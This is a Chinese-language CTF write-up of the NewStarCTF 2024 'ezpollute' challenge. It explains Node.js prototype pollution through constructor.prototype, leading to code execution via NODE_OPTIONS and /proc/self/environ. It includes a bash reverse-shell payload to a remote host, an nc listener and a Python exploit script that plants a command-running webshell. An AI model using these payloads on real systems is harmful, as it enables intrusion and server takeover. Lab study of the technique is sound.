题目链接
newstarCTF 2024 ezpollute
原型链污染
https://wiki.wgpsec.org/knowledge/ctf/js-prototype-chain-pollution.html
https://blog.mmf.moe/post/node-fork-proto-env-rce/
https://quan9i.top/post/%E6%B5%85%E6%9E%90CTF%E4%B8%AD%E7%9A%84Node.js%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/
js中特有的,对象与对象间的继承是通过原型链实现的。
在JavaScript中,每个对象都有一个原型,它是一个指向另一个对象的引用。当我们访问一个对象的属性时,如果该对象没有这个属性,JavaScript引擎会在它的原型对象中查找这个属性。这个过程会一直持续,直到找到该属性或者到达原型链的末尾。
攻击者可以利用这个特性,通过修改一个对象的原型链,来污染程序的行为。例如,攻击者可以在一个对象的原型链上设置一个恶意的属性或方法,当程序在后续的执行中访问该属性或方法时,就会执行攻击者的恶意代码。

关注一下__proto__和prototype
一开始看的时候总是喜欢把这两个搞混
这里讲一下我的理解
js里没有传统的类概念,这里的Cat.prototype和Object.prototype叫做原型,可以等价于类的概念。
其中prototype是对于构造函数来说的,__proto__是对于一个已经实例化的对象来说的。
其中__proto__是实例对象的一个属性,也就是说可以通过实例对象访问它的原型(类),假如说我们能够修改某一个对象的__proto__属性,那么我们也就可以改变它的原型(类),这样的话,所有之后从这个原型产生的实例对象都会有我们附加的属性。
js中调用某个对象的属性时,过程是这样的
1、在b对象中寻找number属性 2、当在b对象中没有找到时,它会在b.__proto__中寻找number属性 3、如果仍未找到,此时会去b.__proto__.__proto__中寻找number属性
|
题目分析
在/config路由下有这样的代码
userConfig = JSON.parse(jsonData) try { finalConfig = clone(defaultWaterMarkConfig) merge(finalConfig, userConfig) fs.writeFileSync(path.join(__dirname, 'uploads', userID, 'config.json'), JSON.stringify(finalConfig)) ctx.body = { code: 1, msg: 'Config updated successfully', } } catch (e) { ctx.body = { code: 0, msg: 'Some error occurred', } }
|
可以看到有个merge函数
function merge(target, source) { if (!isObject(target) || !isObject(source)) { return target } for (let key in source) { if (key === "__proto__") continue if (source[key] === "") continue if (isObject(source[key]) && key in target) { target[key] = merge(target[key], source[key]); } else { target[key] = source[key]; } } return target }
|
merge函数把proto属性ban了,但是还能通过constructor.prototype 来绕过限制
之后的/process有这样的代码
await new Promise((resolve, reject) => {
const proc = fork(PhotoProcessScript, [userDir], { silent: true })
proc.on('close', (code) => { if (code === 0) { resolve('success') } else { reject(new Error('An error occurred during execution')) } })
proc.on('error', (err) => { reject(new Error(`Failed to start subprocess: ${err.message}`)) }) })
|
其中有fork函数
https://blog.mmf.moe/post/node-fork-proto-env-rce/
在 Node.js 中,child_process.fork() 的第三个参数 options 通常包含一个 env 字段,用于设置子进程的环境变量。
如果开发者没有显式传递 env,Node 会用默认值 process.env,而如果你通过原型链污染注入了 env,就会被“继承”进来。
|
我们现在能够修改env了,但是我们还希望能够将其作为代码执行
除了env这个属性外,还有NODE_OPTIONS这个属性,这个属性控制了启动参数
比如
{ "NODE_OPTIONS": "--require path/to/file.js" }
|
就是执行file.js文件中的代码
我们既然可以控制环境变量,也就是说可以控制/proc/self/environ这个文件,也就可以把这个文件中的内容当做代码执行,由此就可以实现任意代码执行
payload = { "constructor": { "prototype": { "NODE_OPTIONS": "--require /proc/self/environ", "env": { "A":"require(\"child_process\").execSync(\"bash -c \'bash -i >& /dev/tcp/ip/port 0>&1\'\")//" } } } }
|
env这句代码的意思就是反弹shell
bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'
|
bash -c 的意思是:运行后面的字符串作为一个 shell 命令。
|
| 片段 |
含义 |
bash -i |
启动一个交互式 bash shell |
> |
输出重定向符号 |
&> |
同时重定向 stdout 和 stderr |
/dev/tcp/ip/port |
是 bash 的一种特性,表示通过 TCP 连接到远程主机的某个端口(即建立 socket) |
0>&1 |
将 标准输入(fd 0)重定向到标准输出(fd 1),这样远程主机的输入可以控制本机 shell |
当前我是自己起的docker服务,因此可以进行反弹shell
我们的思路是这样的,首先向服务器发送几张图片,然后接收到token,之后使用burpsuite向/cinfig发包,正文加入我们的payload,成功之后,再向/process发包,此时就可以触发我们的反弹shell(要先在公网服务器使用命令nc -lvnp 12345监听)
不出网时的思路:写webshell覆盖index.js,然后读取flag
wp里的脚本
import requests import re import base64 from time import sleep
url = "http://url:port"
files = [ ('images', ('anno.png', open('./1.png', 'rb'), 'image/png')), ('images', ('soyo.png', open('./2.png', 'rb'), 'image/png')) ] res = requests.post(url + "/upload", files=files) token = res.headers.get('Set-Cookie') match = re.search(r'token=([a-f0-9\-\.]+)', token) if match: token = match.group(1) print(f"[+] token: {token}") headers = { 'Cookie': f'token={token}' }
webshell = """ const Koa = require('koa') const Router = require('koa-router') const app = new Koa() const router = new Router()
router.get("/webshell", async (ctx) => { const {cmd} = ctx.query res = require('child_process').execSync(cmd).toString() return ctx.body = { res } })
app.use(router.routes()) app.listen(3000, () => { console.log('http://127.0.0.1:3000') }) """
encoded_webshell = base64.b64encode(webshell.encode()).decode()
payload = { "constructor": { "prototype": { "NODE_OPTIONS": "--require /proc/self/environ", "env": { "A": f"require(\"child_process\").execSync(\"echo {encoded_webshell} | base64 -d > /app/index.js\")//" } } } }
requests.post(url + "/config", json=payload, headers=headers)
try: requests.post(url + "/process", headers=headers) except Exception as e: pass
sleep(2)
res = requests.get(url + "/webshell?cmd=cat /flag") print(res.text)
|